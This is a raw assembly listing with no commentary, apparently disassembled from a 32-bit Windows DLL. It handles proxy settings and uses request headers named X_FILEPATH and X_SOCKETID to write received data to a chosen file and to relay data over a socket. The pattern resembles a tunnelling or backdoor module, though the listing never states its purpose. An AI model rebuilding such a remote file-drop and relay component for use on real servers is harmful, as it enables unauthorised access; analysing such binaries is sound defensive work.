sub esp, 0xc
call fcn.10011730
add esp, 0xc
lea edx, [ebp - 0x1104]
lea ecx, [ebp - 0x105c]
call fcn.10010df0
mov edx, eax
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0x11b8]
call fcn.1000e8d0
lea ecx, [ebp - 0x105c]
call fcn.10001b50
xor eax, eax
mov dword [ebp - 0x1124], 0
mov dword [ebp - 0x1120], 7
mov word [ebp - 0x1134], ax
xor esi, esi
mov dword [ebp - 0x10e0], esi
mov dword [ebp - 0x10dc], esi
mov dword [ebp - 0x10d8], esi
push str.proxyPath
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x93
call fcn.10001bf0
lea eax, [ebp - 0x102c]
push eax
lea eax, [ebp - 0x1030]
push eax
lea ecx, [ebp - 0x11b8]
call fcn.10006ba0
lea ecx, [ebp - 0x102c]
call fcn.10001b50
mov edi, dword [ebp - 0x1030]
cmp edi, dword [ebp - 0x11b8]
je 0x10005283
push 0x10040f70
lea ecx, [ebp - 0x102c]
call fcn.10007150
lea edx, [edi + 0x28]
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0x105c]
call fcn.10011230
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x95
push ecx
mov edx, eax
lea ecx, [ebp - 0x1140]
call fcn.10010e90
add esp, 4
lea ecx, [ebp - 0x10e0]
push eax
call fcn.10007080
lea ecx, [ebp - 0x1140]
call fcn.10007550
lea ecx, [ebp - 0x105c]
call fcn.100075f0
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x93
call fcn.100075f0
mov esi, dword [ebp - 0x10e0]
push str.proxyUrl
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
lea eax, [ebp - 0x102c]
push eax
lea eax, [ebp - 0x1030]
push eax
lea ecx, [ebp - 0x11b8]
call fcn.10006ba0
lea ecx, [ebp - 0x102c]
mov edi, dword [eax]
call fcn.10001b50
cmp edi, dword [ebp - 0x11b8]
je 0x10005358
lea edx, [edi + 0x28]
lea ecx, [ebp - 0x105c]
call fcn.10011230
push eax
lea ecx, [ebp - 0x1134]
call fcn.10007110
lea ecx, [ebp - 0x105c]
call fcn.100075f0
mov edi, dword [ebp - 0x1124]
lea eax, [ebp - 0x111c]
push 1
dec edi
lea ecx, [ebp - 0x1134]
push edi
push eax
call fcn.100070c0
push 0x10040f80
mov ecx, eax
call fcn.10009fc0
lea ecx, [ebp - 0x111c]
mov byte [ebp - 0x11ad], al
call fcn.100075f0
cmp byte [ebp - 0x11ad], 0
je 0x10005358
push edi
push 0
lea eax, [ebp - 0x105c]
push eax
lea ecx, [ebp - 0x1134]
call fcn.100070c0
push eax
lea ecx, [ebp - 0x1134]
call fcn.10007110
lea ecx, [ebp - 0x105c]
call fcn.100075f0
mov edi, dword [ebp - 0x10dc]
mov eax, 0x2aaaaaab
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x10005582
cmp dword [ebp - 0x1124], 0
je 0x10005582
cmp esi, edi
je 0x100054e3
nop
push esi
lea ecx, [ebp - 0x1074]
call fcn.100071a0
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x1074]
cmp dword [ebp - 0x1064], 0
jne 0x100053bd
mov byte [ebp - 4], 0x93
call fcn.100075f0
jmp 0x100054d8
push 1
push 0
lea eax, [ebp - 0x105c]
push eax
call fcn.100070c0
push 0x10040f80
mov ecx, eax
call fcn.10009fc0
lea ecx, [ebp - 0x105c]
mov byte [ebp - 0x11ad], al
call fcn.100075f0
cmp byte [ebp - 0x11ad], 0
jne 0x10005424
lea eax, [ebp - 0x1074]
mov edx, 0x10040f80
push eax
lea ecx, [ebp - 0x105c]
call fcn.100098e0
add esp, 4
lea ecx, [ebp - 0x1074]
push eax
call fcn.10007110
lea ecx, [ebp - 0x105c]
call fcn.100075f0
push 0x10047d20
mov dword [ebp - 0x1034], 0x10047d20
call fcn.10014768
add esp, 4
mov byte [ebp - 0x1030], 1
lea eax, [ebp - 0x1074]
mov byte [ebp - 4], 0x97
push eax
lea eax, [ebp - 0x11c8]
push eax
call fcn.1000a7c0
mov edi, dword [ebp - 0x11c8]
push 0x10047d20
add edi, 0x28
mov byte [ebp - 4], 0x96
call fcn.10014784
lea eax, [ebp - 0x1134]
add esp, 4
cmp edi, eax
je 0x10005489
push 0xffffffffffffffff
push 0
push eax
mov ecx, edi
call fcn.10007ce0
push str.Proxy
lea ecx, [ebp - 0x102c]
call fcn.10007150
lea eax, [ebp - 0x1134]
mov byte [ebp - 4], 0x98
push eax
lea edx, [ebp - 0x1074]
lea ecx, [ebp - 0x102c]
call fcn.10012af0
add esp, 4
lea ecx, [ebp - 0x102c]
call fcn.100075f0
lea ecx, [ebp - 0x1074]
mov byte [ebp - 4], 0x93
call fcn.100075f0
mov edi, dword [ebp - 0x10dc]
add esi, 0x18
cmp esi, edi
jne 0x10005390
sub esp, 0x18
mov byte [ebp - 0x11ad], 1
mov ecx, esp
mov dword [ebp - 0x1030], esp
push str.plain
call fcn.10001bf0
lea ecx, [ebp - 0x105c]
mov byte [ebp - 4], 0x99
call fcn.100113c0
sub esp, 0x18
mov byte [ebp - 4], 0x9a
mov edx, eax
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov ecx, dword [ebp - 0x11d0]
mov byte [ebp - 4], 0x9b
call fcn.1000e380
add esp, 0x30
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x105c]
call fcn.10001b50
sub esp, 0x18
mov ecx, esp
push 0x100405d4
call fcn.10001bf0
mov ecx, dword [ebp - 0x11d0]
mov edx, 1
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x10e0]
call fcn.10007550
lea ecx, [ebp - 0x1134]
call fcn.100075f0
jmp 0x10004c05
lea ecx, [ebp - 0x10e0]
call fcn.10007550
lea ecx, [ebp - 0x1134]
call fcn.100075f0
jmp 0x10004c2b
sub esp, 0xc
call fcn.10011730
add esp, 0xc
lea edx, [ebp - 0x1104]
lea ecx, [ebp - 0x105c]
call fcn.10010df0
mov edx, eax
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x10dc]
call fcn.1000e8d0
lea ecx, [ebp - 0x105c]
call fcn.10001b50
xor esi, esi
mov dword [ebp - 0x1140], esi
mov dword [ebp - 0x113c], esi
mov dword [ebp - 0x1138], esi
push str.proxyPath
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x9f
call fcn.10001bf0
lea eax, [ebp - 0x102c]
push eax
lea eax, [ebp - 0x1030]
push eax
lea ecx, [ebp - 0x10dc]
call fcn.10006ba0
lea ecx, [ebp - 0x102c]
call fcn.10001b50
mov edi, dword [ebp - 0x1030]
cmp edi, dword [ebp - 0x10dc]
je 0x100056a3
push 0x10040f70
lea ecx, [ebp - 0x102c]
call fcn.10007150
lea edx, [edi + 0x28]
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x105c]
call fcn.10011230
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0xa1
push ecx
mov edx, eax
lea ecx, [ebp - 0x1038]
call fcn.10010e90
add esp, 4
lea ecx, [ebp - 0x1140]
push eax
call fcn.10007080
lea ecx, [ebp - 0x1038]
call fcn.10007550
lea ecx, [ebp - 0x105c]
call fcn.100075f0
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0x9f
call fcn.100075f0
mov esi, dword [ebp - 0x1140]
mov edi, dword [ebp - 0x113c]
mov eax, 0x2aaaaaab
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x100058d3
cmp esi, edi
je 0x10005829
nop dword [eax]
push esi
lea ecx, [ebp - 0x1074]
call fcn.100071a0
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x1074]
cmp dword [ebp - 0x1064], 0
jne 0x100056fd
mov byte [ebp - 4], 0x9f
call fcn.100075f0
jmp 0x1000581e
push 1
push 0
lea eax, [ebp - 0x105c]
push eax
call fcn.100070c0
push 0x10040f80
mov ecx, eax
call fcn.10009fc0
lea ecx, [ebp - 0x105c]
mov byte [ebp - 0x11ad], al
call fcn.100075f0
cmp byte [ebp - 0x11ad], 0
jne 0x10005764
lea eax, [ebp - 0x1074]
mov edx, 0x10040f80
push eax
lea ecx, [ebp - 0x105c]
call fcn.100098e0
add esp, 4
lea ecx, [ebp - 0x1074]
push eax
call fcn.10007110
lea ecx, [ebp - 0x105c]
call fcn.100075f0
push 0x10047d20
call fcn.10014768
add esp, 4
lea eax, [ebp - 0x1074]
push eax
lea eax, [ebp - 0x11c8]
push eax
call fcn.1000a460
mov eax, dword [ebp - 0x11c8]
mov edi, dword [ebp - 0x11c4]
mov dword [ebp - 0x11b4], eax
cmp eax, edi
je 0x100057b9
nop word [eax + eax]
lea ecx, [ebp - 0x11b4]
call fcn.10006c00
cmp dword [ebp - 0x11b4], edi
jne 0x100057a0
mov eax, dword [ebp - 0x11c8]
push edi
push eax
lea eax, [ebp - 0x1030]
mov ecx, 0x10047d18
push eax
call fcn.10007bc0
push 0x10047d20
call fcn.10014784
add esp, 4
lea ecx, [ebp - 0x102c]
push str.Proxy
call fcn.10007150
lea edx, [ebp - 0x1074]
mov byte [ebp - 4], 0xa3
lea ecx, [ebp - 0x102c]
call fcn.10012a20
lea ecx, [ebp - 0x102c]
call fcn.100075f0
lea ecx, [ebp - 0x1074]
mov byte [ebp - 4], 0x9f
call fcn.100075f0
mov edi, dword [ebp - 0x113c]
add esi, 0x18
cmp esi, edi
jne 0x100056d0
sub esp, 0x18
mov byte [ebp - 0x11ad], 1
mov ecx, esp
mov dword [ebp - 0x1030], esp
push str.plain
call fcn.10001bf0
lea ecx, [ebp - 0x105c]
mov byte [ebp - 4], 0xa4
call fcn.100113c0
sub esp, 0x18
mov byte [ebp - 4], 0xa5
mov edx, eax
mov ecx, esp
call fcn.10010df0
mov dl, byte [ebp - 0x11ad]
mov ecx, dword [ebp - 0x11d0]
mov byte [ebp - 4], 0xa6
call fcn.1000e380
add esp, 0x30
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0x105c]
call fcn.10001b50
sub esp, 0x18
mov ecx, esp
push 0x100405d4
call fcn.10001bf0
mov ecx, dword [ebp - 0x11d0]
mov edx, 1
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x1140]
call fcn.10007550
lea ecx, [ebp - 0x10dc]
call fcn.10006110
lea ecx, [ebp - 0x1104]
call fcn.10001b50
jmp 0x1000384b
lea ecx, [ebp - 0x1140]
call fcn.10007550
lea ecx, [ebp - 0x10dc]
jmp 0x10004c31
lea edx, [ebp - 0x1104]
lea ecx, [ebp - 0x105c]
call fcn.10010df0
mov edx, eax
mov byte [ebp - 4], 0xa7
lea ecx, [ebp - 0x11c8]
call fcn.1000e8d0
lea ecx, [ebp - 0x105c]
mov byte [ebp - 4], 0xa9
call fcn.10001b50
push str.timeout
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
lea eax, [ebp - 0x102c]
push eax
lea eax, [ebp - 0x1030]
push eax
lea ecx, [ebp - 0x11c8]
call fcn.10006ba0
lea ecx, [ebp - 0x102c]
call fcn.10001b50
mov eax, dword [ebp - 0x1030]
cmp eax, dword [ebp - 0x11c8]
je 0x10005b15
push ecx
lea ecx, [eax + 0x28]
mov byte [ebp - 4], 0xaa
call fcn.100020f0
add esp, 4
mov dword [ebp - 4], 0xa9
test eax, eax
jne 0x10005a34
push 0x10040f84
lea ecx, [ebp - 0x1074]
mov dword [0x10047cc0], eax
call fcn.10007150
push str.Common
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0xac
call fcn.10007150
mov byte [ebp - 4], 0xad
lea ecx, [ebp - 0x111c]
mov edx, dword [0x10047cc0]
call fcn.10002190
push eax
lea edx, [ebp - 0x1074]
mov byte [ebp - 4], 0xae
lea ecx, [ebp - 0x102c]
call fcn.10012af0
add esp, 4
lea ecx, [ebp - 0x111c]
call fcn.100075f0
lea ecx, [ebp - 0x102c]
call fcn.100075f0
lea ecx, [ebp - 0x1074]
mov byte [ebp - 4], 0xa9
call fcn.100075f0
sub esp, 0x18
mov ecx, esp
push str.Disable_Proxy_Cache
call fcn.10001bf0
mov edx, 1
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x11c8]
call fcn.10006110
lea ecx, [ebp - 0x1104]
call fcn.10001b50
jmp 0x1000384b
jle 0x10005b15
push 0x10040f84
lea ecx, [ebp - 0x1074]
mov dword [0x10047cc0], eax
call fcn.10007150
push str.Common
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0xaf
call fcn.10007150
mov byte [ebp - 4], 0xb0
lea ecx, [ebp - 0x111c]
mov edx, dword [0x10047cc0]
call fcn.10002190
push eax
lea edx, [ebp - 0x1074]
mov byte [ebp - 4], 0xb1
lea ecx, [ebp - 0x102c]
call fcn.10012af0
add esp, 4
lea ecx, [ebp - 0x111c]
call fcn.100075f0
lea ecx, [ebp - 0x102c]
call fcn.100075f0
lea ecx, [ebp - 0x1074]
mov byte [ebp - 4], 0xa9
call fcn.100075f0
push 0
call fcn.1001c488
mov ecx, eax
mov esi, edx
mov eax, dword [0x10047cc0]
cdq
add eax, ecx
mov dword [0x10047d48], eax
adc edx, esi
sub esp, 0x14
mov ecx, esp
mov dword [0x10047d4c], edx
push str.Enable_Proxy_Cache
call fcn.10001bf0
mov edx, 1
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x11c8]
call fcn.10006110
lea ecx, [ebp - 0x1104]
call fcn.10001b50
jmp 0x1000384b
lea ecx, [ebp - 0x11c8]
jmp 0x10004c31
mov esi, dword [ebp - 0x11cc]
mov ecx, esi
push 0
push str.X_FILEPATH
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
call eax
test eax, eax
je case.0x10004a19.102
push eax
lea ecx, [ebp - 0x102c]
call fcn.10001bf0
mov byte [ebp - 4], 0xb2
cmp dword [ebp - 0x101c], 0
jne 0x10005b67
lea ecx, [ebp - 0x102c]
call fcn.10001b50
jmp case.0x10004a19.102
lea edx, [ebp - 0x102c]
lea ecx, [ebp - 0x1074]
call fcn.10011230
push 0
push 0x80
push 2
push 0
mov byte [ebp - 4], 0xb3
lea eax, [ebp - 0x1074]
cmp dword [ebp - 0x1060], 8
push 0
cmovae eax, dword [ebp - 0x1074]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x11b4], 0
cmp esi, 0xffffffff
je 0x10005c0e
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x10005c0e
lea edx, [ebp - 0x1104]
lea ecx, [ebp - 0x105c]
call fcn.10010df0
or dword [ebp - 0x11bc], 0x10
cmp dword [eax + 0x14], 0x10
jb 0x10005bec
mov eax, dword [eax]
push 0
lea ecx, [ebp - 0x11b4]
push ecx
push dword [ebp - 0x10f4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov byte [ebp - 0x11ad], 0
test eax, eax
jne 0x10005c15
mov byte [ebp - 0x11ad], 1
mov ecx, dword [ebp - 0x11bc]
test cl, 0x10
je 0x10005c2b
lea ecx, [ebp - 0x105c]
call fcn.10001b50
cmp byte [ebp - 0x11ad], 0
je 0x10005d45
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x10ec]
call fcn.10002170
mov edi, eax
mov edx, esi
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x114c]
call fcn.10002150
mov esi, eax
lea eax, [ebp - 0x102c]
mov byte [ebp - 4], 0xb5
push eax
mov edx, str.Write_file
lea ecx, [ebp - 0x1134]
call fcn.10009400
push str._error___handle
mov edx, eax
mov byte [ebp - 4], 0xb6
lea ecx, [ebp - 0x108c]
call fcn.100097b0
push esi
mov edx, eax
mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0x111c]
call fcn.10009820
push str._error_number
mov edx, eax
mov byte [ebp - 4], 0xb8
lea ecx, [ebp - 0x105c]
call fcn.100097b0
sub esp, 8
mov byte [ebp - 4], 0xb9
mov ecx, esp
mov edx, eax
push edi
call fcn.10009820
mov ecx, dword [ebp - 0x11d0]
add esp, 4
xor edx, edx
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x111c]
call fcn.10001b50
lea ecx, [ebp - 0x108c]
call fcn.10001b50
lea ecx, [ebp - 0x1134]
call fcn.10001b50
lea ecx, [ebp - 0x114c]
call fcn.10001b50
lea ecx, [ebp - 0x10ec]
call fcn.10001b50
lea ecx, [ebp - 0x1074]
call fcn.100075f0
lea ecx, [ebp - 0x102c]
call fcn.10001b50
lea ecx, [ebp - 0x1104]
call fcn.10001b50
jmp 0x1000384b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x11b4]
lea ecx, [ebp - 0x1134]
call fcn.10002170
mov esi, eax
mov byte [ebp - 4], 0xba
lea ecx, [ebp - 0x108c]
mov edx, dword [ebp - 0x10f4]
call fcn.10002170
push eax
mov edx, str.Received_file_length:
mov byte [ebp - 4], 0xbb
lea ecx, [ebp - 0x111c]
call fcn.10009500
push str._Write_length:
mov edx, eax
mov byte [ebp - 4], 0xbc
lea ecx, [ebp - 0x105c]
call fcn.100097b0
sub esp, 0x10
mov byte [ebp - 4], 0xbd
mov ecx, esp
mov edx, eax
push esi
call fcn.10009820
add esp, 4
mov edx, 1
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x111c]
call fcn.10001b50
lea ecx, [ebp - 0x108c]
call fcn.10001b50
lea ecx, [ebp - 0x1134]
jmp 0x10005d1a
mov esi, dword [ebp - 0x11cc]
mov ecx, esi
push 0
push str.X_SOCKETID
mov eax, dword [esi]
mov eax, dword [eax + 0xc]
call eax
mov dword [ebp - 0x11c4], eax
test eax, eax
je case.0x10004a19.102
push eax
lea ecx, [ebp - 0x102c]
mov dword [ebp - 0x11b4], 0
mov byte [ebp - 4], 0xbe
xor esi, esi
call fcn.10001bf0
push ecx
lea ecx, [ebp - 0x102c]
mov byte [ebp - 4], 0xbf
call fcn.100020f0
add esp, 4
mov dword [ebp - 0x11c0], eax
lea ecx, [ebp - 0x102c]
mov dword [ebp - 0x11b4], eax
mov byte [ebp - 4], 0xbe
call fcn.10001b50
lea eax, [ebp - 0x1104]
mov dword [ebp - 0x10d8], esi
push eax
lea ecx, [ebp - 0x108c]
call fcn.100073a0
mov byte [ebp - 4], 0xc0
nop dword [eax + eax]
cmp esi, 0x5dc
jge 0x10005fe5
cmp dword [ebp - 0x1078], 0x10
lea eax, [ebp - 0x108c]
push 0
push dword [ebp - 0x107c]
cmovae eax, dword [ebp - 0x108c]
push eax
push dword [ebp - 0x11c0]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10005f5a
nop
cmp esi, 0x5dc
jge 0x10005fe5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x1030], eax
cmp eax, 0x2733
je 0x10005f4c
cmp eax, 0x2734
je 0x10005f4c
push dword [ebp - 0x11c0]
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [ebp - 0x1030]
lea ecx, [ebp - 0x105c]
call fcn.10002150
mov byte [ebp - 4], 0xc1
mov edx, str.Send_failed_error:
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10009500
add esp, 4
xor edx, edx
mov ecx, edi
call fcn.1000e240
add esp, 0x18
lea ecx, [ebp - 0x105c]
call fcn.10001b50
lea ecx, [ebp - 0x108c]
call fcn.10001b50
lea ecx, [ebp - 0x1104]
call fcn.10001b50
jmp 0x1000384b
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
jmp 0x10005ec0
test eax, eax
jne 0x10005f6c
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
jmp 0x10005e80
jle 0x10005e80
xor esi, esi
cmp eax, dword [ebp - 0x107c]
jb 0x10005fae
mov edx, dword [ebp - 0x10d8]
lea ecx, [ebp - 0x105c]
add edx, eax
call fcn.10002150
sub esp, 0x18
mov byte [ebp - 4], 0xc2
mov ecx, esp
mov edx, str.send_length:
push eax
call fcn.10009500
add esp, 4
lea edx, [esi + 1]
jmp 0x10005f1c
add dword [ebp - 0x10d8], eax
lea ecx, [ebp - 0x108c]
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x105c]
push eax
call fcn.100071d0
push eax
lea ecx, [ebp - 0x108c]
call fcn.10007360
lea ecx, [ebp - 0x105c]
call fcn.10001b50
jmp 0x10005e80
push dword [ebp - 0x11c0]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x105c]
call fcn.10002150
mov byte [ebp - 4], 0xc3
mov edx, str.Send_timeout__error:
jmp 0x10005f0c